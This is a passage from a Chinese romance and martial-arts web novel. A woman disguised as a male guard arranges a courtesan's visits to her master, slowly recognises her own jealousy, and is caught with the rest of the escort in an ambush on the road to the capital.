后来她渐渐琢磨出点滋味,猜测那“少年”武师大约是不举,来红坊小巷纯粹是为了男人面子。
丹蔻觉得真是可惜了那么俊俏的一张脸,但也乐得以这种轻松的方式挣钱。
再后来,时间一长,“少年”武师再来时,都会带些瓜子小糕点。
两人便磕着瓜子聊遍整个烟城的八卦,倒也轻松有趣。
算算时间,“少年”武师大概有一年多没出现过了。
正想到这里,屋门突然被敲响。
丹蔻赶忙整理头发和衣衫,袅袅婷婷地走过去开门。
打开门,只见一张俊俏玉容出现在眼前。
丹蔻眼睛一亮,忍不住掩面轻笑,“真是想什么来什么,这人呀,最不经念叨。”
“丹蔻姑娘,好久不见。”云琛提起手里热腾腾散发着香气的栗子糕晃了晃,露出一个久违的熟悉笑容。
丹蔻摸摸头上已戴的半旧的发带,嗔怪句“送发带那天也不多等会,见我一面,消失这么久,你这负心汉!”而后笑盈盈将云琛拉进屋子,麻利地锁好房门。
丹蔻仔细去看云琛,一年多未见,云琛又高了些,瘦了些,身上仍然是无拘无束的少年气,却又多了许多沉稳和锋利,英姿俊俏更甚从前。
“丹蔻姑娘,这次来,我……有事求你。”云琛刚一开口就脸红。
丹蔻忍不住眉眼弯弯,妩媚而笑,“有事求我?好呀,先说说要怎么酬谢我?”
云琛赶忙去摸腰间的钱袋子,却被丹蔻的手柔柔覆住,扰住动作。
丹蔻勾住云琛脖子,坐进她怀里,软绵绵地靠向她肩头,媚眼如丝道:
“你好久不来,都不知道,我这改规矩了,酬谢不用钱,得用人。”
云琛被怀里香软的美人弄得极其不自在,想要推开,却见丹蔻只穿着薄薄一层纱衣,叫人哪里都不敢碰,只能投降似的乍着胳膊,尽力偏头拉开距离。
“‘用人’酬谢?用什么人?怎么用?什么时候改的规矩,我实在不知,请姑娘容我去按规矩准备”。
云琛说着就想起身,却被丹蔻一把摁住,柔荑缓缓移向腰间,勾住她的金线护卫腰带,柔声道:
“今儿刚改的规矩,把你那箫给我用用,就算是酬谢。”
云琛顿时汗**倒竖,快要哭了似的哀求道:
“丹蔻姑娘,你就别拿我打趣了,我真有事求你。”
“哈哈哈……”丹蔻笑倒在云琛肩头。
丹蔻是云琛唯一认识的青楼姑娘,为了按润禾的意思,给霍乾念找个姑娘泻泻火,云琛只能找来这里。
云琛隐去霍乾念的身家来历和姓名,只说她主子常年坐椅子,双腿不能动,然后又将主子近几个月跑马次数有些多的事情,讲与了丹蔻。
等全部说完的时候,云琛已
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脸红得赛螃蟹。
一方面是为霍乾念的事难以开口,另一方面也是丹蔻死活不愿意起身,非要靠在云琛怀里才肯说话。
“原来是这么回事。跑马次数变多,必是情动色起,难以自抑。你家主子年少力壮,这是人之常情。这种事只能疏不能堵,硬憋是会憋坏的。”丹蔻趴在云琛肩头,心痒难耐地对着云琛白皙的脖颈吹气。
云琛用袖子推开丹蔻的嘴,“我就说找姑娘你准没错,从前我就听说,丹蔻姑娘极爱惜身体,常用药浴擦洗防病,又……又……”
云琛不知道该怎么表达心里的意思,就听丹蔻接话道:
“又口舌、酥手、蛇腰——活都极好,是吧?”
云琛腾地一下,耳朵也跟着红了起来,小模样逗得丹蔻咯咯直笑。
怕再闹,云琛就要拔腿跑了,丹蔻只得调转话锋:
“你家主子的情形我了解了,你要我怎么帮你家主子‘泻火’?瞧你如今这服制,你家主子一定非富即贵,是要我上门去吗?”
“对,还得委屈姑娘乔装打扮成护卫模样,与我一同悄悄入府——”
“完事儿之后再悄悄出来,从头到尾不许告诉任何人,对吧?”
“对对对,姑娘冰雪聪明,实在善解人意!”
“嘁!”丹蔻轻笑,“我懂行而已——二两金,一毫不能少哦。”
云琛连忙掏钱,“请姑娘收拾收拾,即刻随我动身吧。”
如今迁府之事已进入尾声,云琛怕再耽搁下去,离了烟城,再难找到丹蔻这样的熟人。
且新府必定人多眼杂,很难办这种事,还是现在就办最为妥当。
云琛说着就要站起身,丹蔻却觉得事已谈妥,不怕云琛跑了,立时调戏的心思又起,使坏地贴近云琛耳边,故意吹气,道:
“小云护卫,你就不想知道,我要怎么样帮你家主子泻火吗?”
不等云琛回答,丹蔻立马秀腿一迈,跨坐在云琛腰上,轻盈地摆了两下。
“你家主子不能行走,那我就这样帮你家主子,没有男人不喜欢这招。”
只感觉头皮“轰”地炸了,云琛从椅子上跳起来,差点将丹蔻掀翻在地。
丹蔻打了个趔趄才站稳,望着云琛逃命似的背影,忍不住哈哈大笑。
第61章 一见钟情
是夜,北柠堂寝屋外,润禾与云琛悄悄接头。
“云护卫,人带来了吗?没让府中其他人看见吧?”
“没,我让丹蔻姑娘穿了我的衣服,低头进来的。”云琛说着朝身后招手示意,丹蔻随即碎步走出来。
润禾乍一见丹蔻,下意识道了句,“云护卫,你们二人……看起来好像——像孪生兄妹似的。”
大概是因为云琛女扮男装,再装男人也透着阴柔气,而丹蔻穿起云琛的护卫服,也有同样的气质。
二人并肩站在一起,同样的服制和身量,同样的高高束发和阴柔,乍看确实很像。
只不过丹蔻面上涂脂抹粉,描眉画眼,比云琛要艳丽明媚许多。
润禾上下打量丹蔻,满意地点点头,但还是不放心地悄问云琛:
“府医把过脉了吗?姑娘身子可还干净?”
得到肯定的答案后,润禾让开路,示意云琛和丹蔻进寝屋。
一瞬间,云琛心里莫名升起一股酸涩,突然就迈不开步子了。
润禾催促:“云护卫,快进去吧,不然少主该歇息了。”
云琛“哦”了一声,语调透着她自己不曾察觉的低落。
云琛领着丹蔻进屋,转过屏风,正见霍乾念坐在轮椅上,靠在窗边看书。
他穿一身雪峰白的寝衣,清瘦的锁骨从对襟露出来,隐约可见胸膛起伏的线条。
他执着书卷,看得认真,侧颜只见剑眉凤眸,薄唇轻抿。
听见动静,他抬头看去,一见云琛,刚要露出笑容,却在看到她身后走出穿着护卫服制的丹蔻时,立马僵住了表情。
云琛不知道该说什么,只能不安地看着霍乾念,等待着他可能暴风骤雨的反应。
僵了片刻,霍乾念神色跌至冰冷。
云琛竟第一次从那眼中看出了一种强抑的失望。
“出去。”霍乾念冷冷开口。
云琛心里松了口气,丹蔻乖觉地行礼,准备退下,霍乾念却又道:
“云琛,出去。”
云琛身子一滞,随即退步离去。
转过屏风时,云琛看见丹蔻摆着水蛇腰肢,跨坐上霍乾念的大腿。
退出寝屋,将关上门的瞬间,云琛清楚地听见屋内传来丹蔻一声媚到骨子里的“哎呀”。
那声音旖旎又羞怯,欲拒又还迎,听得云琛心中泛起阵阵酸涩。
罕见地,她离开既定的值守位,选定了一个离门口最远的位置站着。
秋日的夜微凉,吹得人心空落落。
云琛不知道自己怎么了,脑海中纷乱闪过许多画面,有丹蔻柔软的腰,有霍乾念修长有力的臂膀。
她好怕霍乾念会仰头看着丹蔻,对着丹蔻轻声地笑。
她甚至希望下一刻,屋门就会被推开,丹蔻表情尴尬地走出来,说句“不成不成”。
可等啊等,直到星夜落幕,丹蔻才整理着衣摆走出来,对着云琛嫣然一笑:
“小云护卫,你家主子满意了,那我便走了。”
“好……多谢姑娘……”云琛低声回应。
自那夜过后,丹蔻又穿着云琛的衣服,扮作护卫,去了北柠堂四五次。
云琛直接将贴身值守的差事交给荀戓,她则整日忙着做起程打点,几乎不见人影。
一连数日,她竟一次都没有去北柠堂,霍乾念也没有像平时那样,一会儿喊她来前问话,一会儿又叫她来一起用饭。
就这么到了将离开烟城的前一夜,一切都已打点妥当,只等天亮起程。
荀戓要去与在烟城的家人道别,便叫云琛和小六同去吃饭。
云琛本不放心两个亲卫同时离开,但不言说:
“阿琛,去吧,有我呢,再调二十个近卫过来即可。你们哥仨许久没聚了,去吧。”
云琛还在犹豫,荀戓一把揽住她肩膀:
“阿琛,走吧,你嫂子给你红烧了排骨。”
见荀戓话里有话,像是有事要说,云琛便应了下来。
小六一听有红烧排骨,立马跑得比兔子还快。
一个时辰后,日落西山时,民宅小院里,三个当年一同从武馆走出来的武师,如今都穿着霍帮的护卫服制,再次相聚,把酒言欢。
荀戓长叹一口气,道:“
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入霍帮是挺好,只是熬了一年多,好不容易熬回烟城了,谁曾想会迁往京都。”
云琛知道,荀戓是放心不下在烟城的一大家子老老小小。
她拍拍荀戓的肩膀,安慰道:
“狗哥,等我们在京都安定下来,就把嫂子和家里人全接到京都,钱的事情你不用操心,我有,在京都郊外买两三间屋子不成问题。”
一直埋头狂吃肉的小六咽下一大口肉,也说:
“我也有存银!我月钱虽然不多,但是在西北荒漠上花不出去,这一年攒了不少呢,应该够路费!”
听了这些话,荀戓心中既宽慰又感动,眼眶有些湿润,声音也带了点哽咽。他举起酒碗,郑重道:
“二位兄弟,谢了,能认识你们,我算值了。我荀戓这辈子前怕狼后怕虎,用花护卫的话来说,确实是‘窝囊’……”
不容荀戓说完,小六一把甩下排骨骨头,大喊:
“放**屁!狗哥你是爷们里的爷们!是不和花绝那傻缺争执计较!是……是……”
见小六涨红着脸,说不出下面的话,荀戓笑着接过:“是爱惜这来不易的亲卫差事,是不敢得罪人,丢了一月五两银的月钱。”
说着,荀戓看了云琛一眼,道:“若不是云琛,只怕我和小六根本入不了少主的眼。”
“啥意思?”云琛不明白。
见云琛还是从前那样,聪慧归聪慧,却一碰到某些领域时,就变得纯纯白纸一张,傻得一窍不通,荀戓既欣慰又发愁,只得道:
“当初在竹林深院那场杀斗,初识霍帮那一日,少主是为了留你,才将我和小六收入霍帮,我们是沾了你的光。”
小六也十分赞同地点头,“我也有这种感觉!我在西北放牛的时候,堂口管事听说我是少主从武馆收进来的,都惊奇坏了,说霍帮最多只临时雇佣武馆武师,从来没有正式收入霍帮一说,霍帮的护卫们全是打小就家生的。”
荀戓打量着云琛的脸色,“少主对你大约是一见钟……意。”他咬住舌头,硬生生把那个“情”字吞了下去。
第62章 大狐仙与小白兔
荀戓嘴快,差点说出“一见钟情”四个字。
云琛点头,神色染上几分认真:
“我知道,少主赏识我,重用我,我便不能负他。”
荀戓脑海中又浮现出放天灯那一日,当众人跑过去扶起云琛和霍乾念的时候,霍乾念的手不着痕迹地从云琛后腰移开的情景。
云琛太过紧张慌乱,可霍乾念分明是冷静清醒的。
一个对所有人都颇为冷淡、甚至很不喜别人轻易碰他的霍乾念,却在云琛扑过去的时候,自然地搂住了云琛的腰。
说是“莫伤了后背”,在关心云琛,可荀戓就是觉得很不对劲,脑中忘不掉那画面带来的冲击感。
他琢磨了很多次,如果有人扑过来救他,他大约会下意识地扶肩膀,或者撑靠住,但就是不会去搂腰。
那动作实在令人浮想联翩。
从那天起,荀戓时常不动声色地观察霍乾念,按理说,这是万万不该的,可事关他的兄弟云琛,他顾不了那么多。
观察了很久,霍乾念的确待云琛要比其他护卫不同,更欣赏器重,更信任,好像也并没有什么其他不合适的东西。
直到有一日,霍乾念坐在院子里吹风,看着北柠堂一众仆从和护卫装箱收拾行李。
当一个摞得很高的箱子突然坠下来,差点砸到云琛时,荀戓立刻抬眼去看霍乾念,竟从那将将收回的眼神中,看到了一种强烈的情绪。
像是强行截断一腔惊忧,荀戓再定睛去看时,霍乾念已收回眼神,面色如常平淡。
若不是荀戓早有留意,只怕根本抓不到那瞬间。
荀戓心中大惊,此后再看到霍乾念与云琛同框出现时,他只觉得霍乾念像极了一只城府极深的大狐仙,而云琛活脱脱就是一只天真无邪的小白兔。
原本,荀戓只是在心里盘算,该不该暗示云琛,防着点霍乾念。
或者干脆请辞,一走了之最好。
可自从那个一眼就能看出女扮男装的丹蔻姑娘开始进出北柠堂,云琛突然像霜打了的茄子一样,变得忧郁沉默,荀戓就知道完蛋了!
这小子只怕……也是动心了。
与霍乾念不同,云琛所有心思都写在脸上,从来不懂掩藏,荀戓可以看出来,其他护卫们也多少察觉到不对。
荀戓很为云琛着急,可他知道,云琛只怕自己都还没摸清楚心里的情意呢!
大狐仙与小白兔的情景,突然又变成了“霍郎”有情,“云郎”也有情。二人就差捅破那一层窗户纸。
怕云琛“误入歧途”,荀戓断了去暗示云琛防着霍乾念的心思,否则只怕阻拦不成,他荀戓反而成了媒人。
想到这里,荀戓给云琛满上一碗酒,试探地问:
“阿琛,有时候,太被主子赏识,并不是一件好事。赏识得过了头,就成了……”荀戓满肚子挑词,最后说出两个字:“捧杀。”
小六和云琛面面相觑,都不太明白这个词怎么会用在云琛身上。
荀戓也觉得用词不当,干脆心一横,道:
“阿琛,你年纪小,性子纯,又没有亲人在身边,有些事情不懂。我今天拉下这张老脸,说点托大的话。你小小年纪出来闯荡寻恩,已经艰难得很,莫要给自己再选择一条更艰难……还走不到底的路。”
荀戓干了半碗酒,继续道:“阿琛,哥希望你娶个贤惠的媳妇,平安到老,儿孙满堂,千万不要被一时迷惑,走错了路,有些人,即使近在眼前,也终究和我们不是一个世界的人。
高高在上的主子没人敢骂,三妻四妾再正常不过,就是男妾也使得,最多被背地里议论,可命如草芥的护卫会被吐沫星子淹死的。哥不想看到你被引入歧途,让人人都忘了你是多有本事的好小子,只想着戳你脊梁骨。”
话说到这里,云琛就是再“一窍不通”,也懂了荀戓的意思。
她真是哭笑不得,既感动荀戓这样真心劝导她,又无奈不能说出自己女扮男装的事,只能沉默了一会儿,端起酒一饮而尽,诚恳道:
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>“哥,我不是‘龙阳’,真的!”
她这一直白,倒叫荀戓闹了个大红脸,一旁的小六直接一口饭喷了出来,嚷嚷道:
“狗哥你意思阿琛喜欢男人?怎么可能!”
云琛心虚地不敢看小六,只能对荀戓说:
“狗哥,有许多事,我实在没法……但你放心,我真的不是‘龙阳’。至于将来,若有一日,有缘能遇到恩主,我必舍下现在的一切,誓死追随而去;若这辈子没这个福分遇到,我便要牢牢报少主的恩情。”
荀戓有点意外,“如果寻到恩主,你愿意舍下现在一切去追随?也舍下霍少主?”
云琛心里一痛,但还是咬牙,点点头:
“舍!若因为在霍帮享了福,得了器重,就抛下过去,那便是猪狗之辈。救我娘的恩情,我不能忘!”
如果这话从小六嘴里说出来,荀戓只会觉得小六是一时冲动,热血上头,吹牛吹得不轻。
可这话从云琛嘴里说出来,分量便不是一般的重。
云琛言出必行,忠义不移,既然这么说,便一定会这么做。
由此看来,倒是霍乾念陷得更深些,云琛这头的心还浅着呢!
荀戓顿觉心里畅快,忙道:“阿琛,你不是说,当年救**人,有信物可以认得吗?你给我瞧瞧,我亲自帮你找,绝不假手他人!”
小六也来了兴趣,“算我一个,我也找。我记得是云哥脖子上的银币来着,快拿出来看看!”
如今不再以“寻恩主”为第一要紧,只盼有缘遇见,云琛心中不再戒备太多。
她摸摸空空如也的脖子,“银币在一次办差时候丢了,上面是我记下的恩主的玉佩样子,是这样的——”
她说着沾了点酒,在桌子上画出梅花破月的图样。
小六盯着那氤氲成一团的酒渍,研究了半天,挠头问道:
“这是个猫爪大饼图?谁家好人拿这玩意儿做玉佩?”
云琛闭了闭眼,一把将小六的脸摁进红烧排骨里。
第63章 亲自调教
从荀戓家离开的时候,已近戌时一刻。
晚秋天黑得早,云琛走在回府的路上,行人稀少,只有头顶的星月相伴。
她心里想着荀戓方才吃饭时候说的话,只感觉一团乱麻。
在如今五个霍帮亲卫里,荀戓已经三十六岁,比叶峮年纪还大。他一向是个谨小慎微的性子,非常善于观察。
可她不懂,荀戓看到了什么,竟误会她对霍乾念有龙阳之意?
被迷惑?霍乾念又不是狐魅。
误入歧途?她云琛又不是傻白甜的兔子。
她仔仔细细地回想,不禁问自己:
所做的一切,都是一个护卫该做的吗?有没有什么不该的?
想来想去,她也没想出来。
就像她想不出自己为什么会为丹蔻多次来为霍乾念“泻火”而心生酸痛。
她不懂这满腔愁绪从何而来。
她惆怅地叹着气,刚走到偏门,门“吱呀”一声打开,一个和她穿着打扮得一模一样的人走了出来。
对上来人,云琛心里立马阵阵泛酸,却还是礼貌道:
“丹蔻姑娘,你来了……”
丹蔻亲**挽住云琛胳膊,笑道:
“你家主子一差人叫我,我肯定来——还要多谢小云护卫,给我介绍了这样的美差。”
说着,丹蔻掩住嘴,媚声低语道:
“你家主子真不赖。”
真不赖?哪方面不赖?
这问题下意识出现在云琛脑海。
她虽未经人事,连护卫们常看的小画册都不敢瞟一眼,但多少是知道的,丹蔻说的大约是男女那方面的事。
云琛脸红得接不上话,丹蔻却忍不住笑起:
“不逗你了,瞧你这失了魂的样子,再逗你,我都不忍心了。”
“我?我好着呢,姑娘莫玩笑。”云琛说。
丹蔻故意认同地“哦”了一声,然后问:“那你为什么事这样不高兴?说与我听听?”
“不不不!多谢姑娘关心,我没有什么事!”云琛连连拒绝。
丹蔻又引诱道:“我见过的男人没有一万,也有一千。这世上男男女女,不就那么点事嘛,你说与我听听,我可能有法子解。不然你成天这样,还怎么当差呀?”
云琛觉得丹蔻最后一句话十分在理,犹豫了一会,她艰难启齿:
“丹蔻姑娘,我心里难受得很,但我也不知道为什么……”
丹蔻心里明镜似的,但还是明知故问:
“怎么个难受法?是不是又酸又痛,搅得胸口闷堵,吃不下睡不着,干什么都提不起精神?”
云琛惊讶:“姑娘神医来的?”
丹蔻差点笑喷,强忍着说:
“哎呀,这可太正常了,吃醋都是这样子的。”
吃醋?我吃醋?难道我因为霍乾念与丹蔻的事吃醋?云琛自己都惊了。
难道我竟然……喜欢少主?她心中轰然乱成一团。
人精似的丹蔻,早就看出云琛不对劲。
虽然在那位寡言少语的主子身上,丹蔻看不出什么,可在情窦未开的云琛这,丹蔻看云琛的脸,比看那画册还明白。
大概是因为身处烟花行当,各种各样的情事见多了,丹蔻毫不惊讶。
毕竟丹蔻一直觉得,一个身量纤纤又带着阴柔气的俏生生的云琛身边,更适合站一个高大英俊的男人,而非女子。
丹蔻记得,霍乾念的腿挺长,个子指定不矮。
第一次来北柠堂的时候,她正要跨坐上霍乾念的大腿,霍乾念却突然转动轮椅,往后一躲,害得她“哎呀”一声,一下子跌坐在地上,手恰好从霍乾念的腿上摸过。
如果霍乾念能站起来,应该至少高出云琛两个头。
丹蔻想象着二人并肩而站的样
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子,不觉露出姨母般的爱怜笑容。
“小云护卫,这些日子我赚了不少,心里特舒坦,那我便给你解解这‘醋味儿’吧!”丹蔻说着靠近云琛耳朵,轻声细语了一番。
霎时间,云琛只觉得云雾散开见月明,心中的醋意顿时消散得无影无踪。
丹蔻说:
“你家主子每次叫我来,都只让我站在屏风外,他则在屏风里头坐着。他既不让我服侍,也不让我说话。只让我吃喝随意,行走坐卧随意,越自在越好。”
云琛心中已彻底松快,但全然没反应过来为什么松快,她奇怪:
“不懂少主为何这样,隔着屏风能看见什么?大概只能看见个身形和影子吧?”
丹蔻差点脱口而出“你要不看看我穿着谁的衣服?看看我和谁一样的束发和装扮?”
丹蔻笑而不语,故意长叹一口气,幽幽道:
“唉,我真心疼你家主子,偏偏碰上一个‘情未开’‘欲未动’的小傻瓜。照这架势,他那君火还得憋上好一阵。”
云琛眉头拧得更深了,“请姑娘言明。”
“言不明的。”丹蔻语气神秘带着笑意,“这种事,就要慢慢来才有趣,按你家主子这闷骚的性子,他定然喜欢亲自慢慢调教。”
说话间,丹蔻又春风笑起,“不过以我看男人的经验,如果上了床,他必定生猛得如狼似虎……”
云琛小脸通红,赶紧打断:“丹、丹、丹蔻姑娘早些回去休息吧!我、我、我就不打扰姑娘了!”
丹蔻再也忍不住,倚着云琛笑得前仰后合,而后扭着腰离开。
临走之际,她又贴着云琛耳朵说了两句:
“如果哪天你主子真想泻火了,你记得我教你的不?别忘了呦——哈哈哈哈哈——”
望着丹蔻杨柳轻摆的背影,云琛臊得耳鸣心跳,不敢见人。
第64章 朋友一场,去道个别
鸡鸣秋晨,霍帮的队伍浩浩荡荡离开烟城。
层层神情肃穆的持刀护卫之中,是霍家少主金顶雀蓝的马车软轿,不言在车上驾马。
云琛与荀戓策马随护,她骑马走在最靠近轿子的位置。
随着小窗上的帘子飘动,霍乾念能清楚地看见云琛的侧影。
轿厢里,从旁侍候的润禾笑道:
“少主,您最近心情不错,原以为要离开烟城,您会不高兴呢。”
霍乾念不动声色地抬眼,透过轿帘缝隙,望了那高束马尾的背影一眼,唇角扬起,却并不说话。
轿厢外面,不言接话道:
“我知道少主为什么心情好!因为阿琛将起程的一干事务都打点得特别好,封箱押运、护卫班次、路线巡视……嘿!别看阿琛年纪小,脑子是真不乱,叶峮哥见了都得夸呢。话说咱们最多两日就能与叶峮和花绝汇合了,他俩估计已经把前头驿馆打点好了,咱们一到那儿就能……”
不言一个人唠唠叨叨,润禾两手捂住耳朵,试图隔绝不言的“念经”。
念着念着,不言对一旁骑马的云琛道:
“阿琛,咱俩换换,你来驾马吧。”不言指指屁股,“我感觉燥痔又疼了,我得缓一缓。”
“行,你来马背上趴一会。”云琛与不言调换位置。
她坐到轿厢门口,语调不自然地说了句“少主,换我来驾马了。”
隔着轿帘,霍乾念的声音带着温吞笑意:
“好。”
因为丹蔻的事,将近二十多天,她都在忙府里起程的事务,借口各种事忙,没有到霍乾念身边来。
霍乾念也没有召她,按润禾的说法,云琛刻意疏远的这些日子,霍乾念甚至心情非常好。
云琛琢磨着该说些什么,缓和一下心里的尴尬。
刚要开口,小六却从队伍末尾跑了过来,说道:
“云哥,后面来了个颜家人,邀你去二里外的向日葵园相会,说是要给你践行。”
小六并不知道颜十九其人,就这么大大咧咧说了出来。
“**,这厮脸皮真比我鞋底子还厚!”不言趴在马背上,骂了一句,偏过头去。
云琛莫名脊背一紧,对小六说:
“我正当差护卫呢,怎能擅离职守。我不去。”
小六一溜烟跑去回话,片刻后又来说:
“那颜家人说,如果你不愿意去相会,那他恳请来见你一面。”
颜十九这家伙惯会耍人的,云琛估计这附近根本没有什么向日葵园。
颜十九故意这么说,就是知道她肯定不允,他好退而求其次提出见面,她便不好再拒绝。
云琛侧身向轿厢,征求霍乾念的意见:
“少主,我觉得若不见颜十九,只怕他要跟一路,要不……”
“不妨,就叫到车前来见,不必你去。”霍乾念说。
从霍乾念的声音听来,他似乎没有不悦,云琛放下心来。
而轿厢里的润禾却惊奇地发现,第一次,霍乾念没有在听到“颜十九”三个字时瞬间冷脸,反倒剑眉微挑,颇有些好整以暇而待的架势。
没一会儿,一人策马徐来,那一身颜色亲和的天蓝水白的护卫服制,在霍帮众护卫里非常扎眼。
见来人是颜十九身边的贴身护卫万宸,不是颜十九本人,云琛心下松了口气。
“云护卫,我家主子有话带给你。”万宸是个正经严肃的人,他先朝云琛行了一礼,而后脸色大动,学着颜十九没心没肺的腔调道:
“可可爱爱小云云,见来人不是我,你有没有一点点失望
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?你我情谊一场,总要好好道别才好。你若不来向日葵园与我相会,我便追着你去京都,好不好?”
万宸一个那么严肃的人,学起颜十九来竟有模有样,云琛感觉和颜十九站在她面前说话没什么分别。
云琛大窘,一旁的不言直接开始干呕。
“不好不好!”云琛大声说,转念一想,若因为她不去相会,颜十九真一路追到京都,那岂不更麻烦。
云琛犹豫着开口,“少主,要不我去见一下颜十九,朋友一场,去道个别。”
轿厢内,霍乾念抿下一口茶,淡淡道:
“不许。”
云琛一愣,她甚少从霍乾念嘴里听到这两个字,至少对她,他很少有不应的。
但主子发话,护卫焉有不从,云琛再次拒绝万宸。
万宸像是意料之中,再一行礼,用他那十分正经古板的嘴,再次学着颜十九道:
“可可爱爱小云云,你若愿意来与我相会,便证明你心里有我,那我更要追着你去!”
上当了!云琛一拍大腿,赶忙对万宸道:
“我刚可是一口回绝了,没想要去什么向日葵园的!万宸你回去可别瞎说啊!”
万宸恭敬行礼,一板一眼地说:
“云护卫刚才说了,‘要不我去见一下颜十九,朋友一场,去道个别’。是霍少主不让您去而已。这些我会如实转告主子,主子只要知道,您其实是愿意去的,就行了。”
万宸说罢转身离开,留给云琛一阵马蹄尘土。
不言,荀戓,小六,几十个离得近的护卫……所有人都看向云琛,空气中弥漫着尴尬的气氛。
云琛不知道轿帘后的霍乾念是什么表情,小心翼翼地试探问:
“少主,要不我们休息一阵再走?”
第65章 咬人的狗不叫
时近晌午,队伍暂歇在一处水潭树林,几个护卫砍扫出空地,支起凉棚和桌椅。
不言随护,润禾侍候着霍乾念用饭。
云琛与几个护卫在空地附近巡视,除了两个砍柴的樵夫,并没有发现什么异常。
唯一让云琛有些在意的,是林子深处有几座新坟。
云琛蹲在其中一个坟堆旁,抓起一把土,揉捻几下,放在鼻子底下闻了闻。
荀戓走过来,也学着云琛的样子查看。
“就是很普通的土,你觉得有什么不对吗?”
云琛环顾一圈,“狗哥,你不觉得这新坟太多了吗?一、二、三……谁家同时死六个人?”
荀戓觉得有理,说:“而且这林子里有山笋,山笋一发芽,长势极快,两三天就能穿土破石。若是恰好长在遗体下面,那真是不堪。若不是有深仇大恨,谁人会将坟埋在这里?而且看这堆土的量,里面得埋多胖的人,才需要挖出这么多土?”
这时,小六从一旁探头探脑地说道:
“云哥意思是坟是假的?这还不简单,把坟挖开看看不就行了?”
荀戓把已经到嘴边的脏话咽了下去,道:
“万一坟是真的呢?我们大老远从烟城过来挖人家坟?挖开以后怎么着,请人喝茶晒太阳?”
小六直挠头,“那怎么办?”
云琛想到个主意,对旁边一起巡逻的几个近卫说道:
“赵刚,你去最近的村子里买几条黄土狗来,四条就够,快去快回。”
那名叫赵刚的近卫身子不动,也没有作声,只是抱着胳膊站在一旁,用鄙视的眼神看着云琛、荀戓和小六。
小六被这眼神看得不爽,走上前,用身高和体型压那赵刚一头,凶道:
“云哥叫你去办差,没听见吗?”
云琛这才注意到赵刚的情绪,她肃下脸,直视着后者,直到赵刚冷哼一声,转身离去。
不到一刻钟,赵刚便找来了四条大狗,但只有一条是黄土狗,另外三条都是牧羊的狗。
云琛皱眉,“不是说了要黄土狗吗?附近村子都没有吗?”
荀戓道:“不应该吧,这黄土狗是村子里最常见的,怎么会没有。”
赵刚不屑地看向云琛三人,嘲讽道:
“土狗?这不是有现成的三条吗?加上找来的这只,正好四条!”
几个与赵刚关系好的护卫赶忙上前相劝,不劝不要紧,一劝,赵刚反而彻底忍不住了,破口大骂:
“我们霍帮的护卫都是家生来的!打小习武十几年,才到少主跟前做了护卫,你们这三个不知道从哪儿来的土包子!竟有脸凑到少主跟前去!凭什么?!”
小六一听立马急眼,冲上去扯住赵刚领子,发怒道:
“你**说什么?十几年习武又咋了?你们有我云哥一根手指头能打吗?!”
一说到云琛,赵刚更有火,一把推开身旁劝架的几人,指着云琛鼻子骂道:
“老子最看不惯的就是你!就知道在少主跟前装傻卖乖!卖弄你那白脸皮!你干脆和那颜十九过日子去得了!别他妈在这碍少主的眼!没想到吧?少主还是喜欢女人,喜欢那丹蔻姑娘!可难受死你了吧!”
即使被骂得这么难听,云琛也咬着牙没说话。
小六彻底炸了,若不是荀戓拦着,他差点拿刀和赵刚拼命。
“你他娘放屁!”
“我说错了吗?!一个好‘龙阳’的小白脸,有什么资格来命令我?!凭什么??!!”
众人吵嚷成一团,小六气得脸红脖子粗,赵刚也骂得脑门青筋暴起,硬是被两边人拉着,两人才没有打起来。
闹到最后,云琛忍着心头火,对赵刚道:
“随便你怎么想,我不在乎,也犯不上和你解释。你尽管看不惯,尽管来骂,但关系到护卫之责的差事,你不该由着性子敷衍了事!”
云琛牵起四条狗,“你不是很骄傲你是家生的霍帮护卫吗?那就拿出本事来证明你比我强!”说罢,她随即转身离去。
小六跟上去,怒极反笑,往地上啐了一口,“咬人的狗不叫,狂吠的才是没本事的!”
荀戓赶紧捂住小六的嘴,将人拖走。
“祖宗!你到底是在骂谁?”
使唤不动赵刚那几个近卫,云琛索性自己牵了狗,去几个坟堆上闻了一番,而后分东南西北四个方向,撒开四条狗。
那黄土狗在乡间田地里闻惯了各种泥土味道,立马就开始跟着气味寻找。
另外三条牧羊的狗则东闻西嗅,一会儿抓鸟,一会逮兔子,聪明得过了头,根本不好好找。
黄土狗累了大半圈,也没找出
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个所以然。
但队伍休整的时间已到,云琛无法,只得下令继续前进。
赵刚这么一闹,不到一盏茶的时间,整个队伍都知道了。
护卫们看向云琛的眼神都带点异样。
有探究的,有难以置信的,也有和赵刚一样,充满鄙夷的。
见云琛变得沉默又低落,荀戓心里很不是滋味,他最担心的事情还是发生了。
不言虽然在方才休息的时候,一直贴身护卫霍乾念,没有亲眼见到吵架的场景,但早已听别人转述得分明,他牵马与云琛并行,安慰道:
“阿琛,你来霍帮的时候,我还在外地办差,即使连面都没有见过,我就已经看好你了。因为我相信少主的判断,能让少主一眼相中的,一定是个好小子。回烟城之后,认识了你,我更觉得少主眼光实在好,你小子每一分脑子都用在正道上,心里没一点脏污。在我心里,你是这个——”
不言竖起大拇指,一脸郑重其事。
云琛心中安慰些许,却无法言说女扮男装的痛苦。
她不敢说自己是个坦荡的,她觉得赵刚有些话也没错骂。
见云琛还是打不起精神,不言又道:
“别理那些个浆糊脑子,你来霍帮时间比他们短,但受的伤比他们多,靠本事吃饭,这足以说明一切。咱们做护卫的,只管护着主子,其他人不必放在眼里。少主方才说了,那赵刚以下犯上,你按府中规矩处置就好,不必回禀。你想怎么收拾他就怎么收拾。
你别怕,这要是叶峮哥知道了,必然要将他赶出霍帮。放宽心,别为这些污糟事分神。咱们这次前往京都,指不定路上还有什么凶险埋伏呢,现在叶峮不在,你暂管护卫们,可得……”
云琛越听越不吉利,赶忙打断不言:
“可以了可以了,我这会感觉心里好受多了,就是后背有点**……”
似乎为了应验不言的乌鸦嘴,那先前累瘫了的黄土狗,突然跑到队伍前面,嗅了嗅地面,汪汪大叫两声,然后疯狂地开始刨土。
紧接着,几道利刃呼啸破空。
六把**突然从路两边的树林飞投而出,扎在队伍四周的空地上,一阵机括声随之响起。
下一刻,只感觉脚下剧烈晃动,地面整个轰然塌陷,裂开了巨大的口子。
第66章 好的不灵坏的灵
不言的嘴像是开过光,而且还是好的不灵坏的灵。
他才说完“指不定路上还有什么凶险埋伏”,玉家的“临别大礼包”就送上来了。
两边树林里飞投出**,正正扎准地上掩藏的机关。
霍帮众人感觉脚下一阵剧烈晃动,地面整个轰然塌陷。
黄土狗汪汪大叫着,撒开四爪,踩着塌陷的土块跳跃逃离。
